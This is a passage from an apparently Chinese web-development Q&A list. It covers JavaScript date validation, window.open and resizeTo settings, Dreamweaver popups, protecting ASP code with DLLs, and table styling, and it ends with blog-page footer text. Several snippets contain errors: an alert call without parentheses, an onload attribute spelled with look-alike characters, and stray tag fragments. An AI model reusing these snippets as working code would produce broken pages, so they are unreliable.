     A:主要原理是把得到的年月日拼成字符串与客户端输入的做比较,如相等则对,否则错。函数如下:
    function checkDate(inString,fieldName)
    {
    var tempDate;
    var a=new Date(inString);
    var y=a.getFullYear();
    var m=a.getMonth()+1;
    var d=a.getDate();
    var myday=y + "/" + m + "/" + d
    if (myday!=inString)
    {
     alert "请为"+ fieldName +"输入一有效日期(yyyy/m/d/)。"; 
     return false; 
    }
    return true;
    }
 137,Q:浏览器 Open 窗口的参数:
     A:
    open('Url',
     '', 
     'toolbar=no,
     location=no,
     status=no,
     menubar=no,
     scrollbars=no,
     resizable=no,
     width=200,
     height=100,
     left=200,
     top=100'
    )">
    注:left,top 对 IE 有效,在 Netscape4 里用 screenX,screenY 参数。
 138,Q:在 DW 中怎样控制弹出窗口大小
     A:在 DW 中选中你所要设置连接的文字(需先加 # 连接)或图片,打开行为面板,点击 + 号,选择 OPEN BROWSER WINDOW,在弹出的对话框中设定你所需要的参数即可。
 139,Q:怎样控制打开首页窗口的大小? 
     A:首页是自行打开的,所以没有父窗口来控制其大小,这时可以应用 javascript 的 resizeTo 函数来达到目的:
     <html>
     <head>
     <title>title</title>
     <script language="javascript">
      function resizewindow(w,h) {window.resizeTo(w,h);}
     </script>
     </head>
     <body οnlοad=resizewindow(200,600)>
      ......
     </body>
 140,Q:如何尽量使 Asp 的代码保密?
     A:产品完成后交付用户,但 Asp 代码始终是以明文文本的方式存放,不排除用户错误修改的可能。为了尽可能的减少(核心)代码暴露,可以把一些代码封装制作成 .dll 文件的形式注册在 Web 服务器上,在 Asp 中调用。制作 dll 的工具很多,如 VB、Delphi、VC++ 等。像通过 delphi 的 Web application 创建的 dll 文件就可以直接在 Personal Web Server 和 IIS 中运行。
 141,Q:制作 cell 突出的表格
     A:
    <table border="1" cellpadding="2" cellspacing="4" bgcolor=#CCCC66 align=right>br>     <tr>
     <td bgcolor=#CCCCFF bordercolorlight="#808080" bordercolordark="#FFFFFF">表格突出</td> 
     <td bgcolor=#CCCCFF bordercolorlight="#808080" bordercolordark="#FFFFFF">表格突出</td> 
    </tr>
    </table>
表格突出示例表格突出示例
 142,Q:页面动态分割条
     A:演示
 
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值